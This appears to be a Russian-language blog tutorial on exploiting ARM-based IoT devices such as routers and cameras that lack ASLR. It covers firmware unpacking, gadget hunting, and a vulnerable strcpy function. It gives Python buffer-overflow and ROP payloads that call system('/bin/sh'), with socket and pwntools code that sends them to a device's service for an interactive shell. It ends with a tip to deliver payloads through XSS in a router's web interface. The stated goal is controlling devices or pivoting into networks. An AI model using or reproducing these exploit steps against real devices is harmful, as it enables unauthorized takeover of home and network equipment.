
126
Большинство IoT-устройств (роутеры, камеры, умные колонки) работают на архитектуре ARM. В 2025 году многие из них всё ещё не используют ASLR (Address Space Layout Randomization), что делает адреса памяти предсказуемыми. Это идеальная мишень для бинарных эксплойтов, особенно через ROP (Return-Oriented Programming) и переполнение буфера.
Цель атаки: Получить шелл на устройстве, чтобы управлять им или использовать как точку входа в сеть.
🛠️ Шаг 1: Дизассемблирование через Ghidra
Ghidra — мощный и бесплатный инструмент для реверс-инжиниринга. Он отлично справляется с ARM-байнкодами, которые часто встречаются в прошивках роутеров.
Как начать:
binwalk для распаковки:|
1 |
binwalk -Me firmware.bin |
CodeBrowser, ищем функции вроде strcpy или gets, которые могут быть уязвимы для переполнения буфера.ROPgadget (устанавливается отдельно):|
1 |
ROPgadget --binary firmware.elf --only "pop|ret" |
Лайфхак: Если Ghidra не может корректно разобрать код, вручную установите базовый адрес памяти (обычно 0x8000000 для ARM IoT).
💣 Шаг 2: Переполнение буфера в C
Переполнение буфера — классика бинарных эксплойтов. Без ASLR адреса в памяти статичны, что позволяет нам перезаписать адрес возврата (return address) на стеке.
Пример уязвимого кода (типичный для IoT):
|
1 2 3 4 5 |
void process_input(char *input) { char buffer[32]; strcpy(buffer, input); // Нет проверки длины! printf("You entered: %s\n", buffer); } |
Как эксплуатировать:
ret) на стеке через Ghidra или отладчик gdb.ret:
buffer.Пример payload (Python):
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 |
import struct # Адрес гаджета "pop {r0, pc}" (найден в Ghidra) pop_r0_pc = 0x8001234 # Адрес функции system() (если есть) или другой цели system_addr = 0x8005678 # Адрес строки "/bin/sh" в памяти (если есть) bin_sh_addr = 0x800abcd # Переполняем буфер + перезаписываем ret payload = b"A" * 32 # Заполняем буфер payload += struct.pack("<I", pop_r0_pc) # Управляем r0 и pc payload += struct.pack("<I", bin_sh_addr) # r0 = "/bin/sh" payload += struct.pack("<I", system_addr) # pc = system() # Отправляем на устройство (например, через netcat) import socket s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(("192.168.1.1", 12345)) # IP и порт уязвимого сервиса s.send(payload) |
Результат: Если всё сработало, устройство вызывает system("/bin/sh"), и вы получаете шелл.
🧠 Шаг 3: ROP-цепочки на ARM
Если прямой вызов system() невозможен (например, нет удобного адреса /bin/sh), строим ROP-цепь. ROP позволяет “сшить” короткие куски кода (гаджеты), заканчивающиеся на ret, чтобы выполнить нужные действия.
Пример ROP-цепи:
Цель — загрузить в r0 адрес команды, затем вызвать system().
pop {r0, pc} (загружает значение в r0 и прыгает по адресу из стека).system() (через Ghidra).pop {r0, pc}."/bin/sh" или нашей команды).system().Payload для ROP (Python):
|
1 2 3 4 5 6 |
payload = b"A" * 32 # Переполняем буфер payload += struct.pack("<I", pop_r0_pc) # pop {r0, pc} payload += struct.pack("<I", bin_sh_addr) # r0 = "/bin/sh" payload += struct.pack("<I", system_addr) # pc = system() # Отправка как выше |
Лайфхак: Если system() отсутствует, можно собрать цепочку для вызова execve() или записать шеллкод в память через серию mov и str инструкций. Это сложнее, но реально на ARM.
⚡ Инструменты и автоматизация
gdb-multiarch и gef (GDB Enhanced Features).|
1 2 |
qemu-arm -g 1234 ./binary gdb-multiarch -ex "target remote localhost:1234" |
PwnTools (Python):
|
1 2 3 4 5 |
from pwn import * context.arch = 'arm' io = remote('192.168.1.1', 12345) io.send(payload) io.interactive() |
r0, r1, pc).🛡️ Почему IoT так уязвимы в 2025?
libc без современных защит (NX, Canary).Обход защит:
🔥 Итоги и реальный кейс
Лайфхак напоследок: Если нет прямого доступа к устройству, используйте XSS в веб-интерфейсе роутера для отправки payload на внутренний порт. IoT-устройства часто доверяют локальным запросам.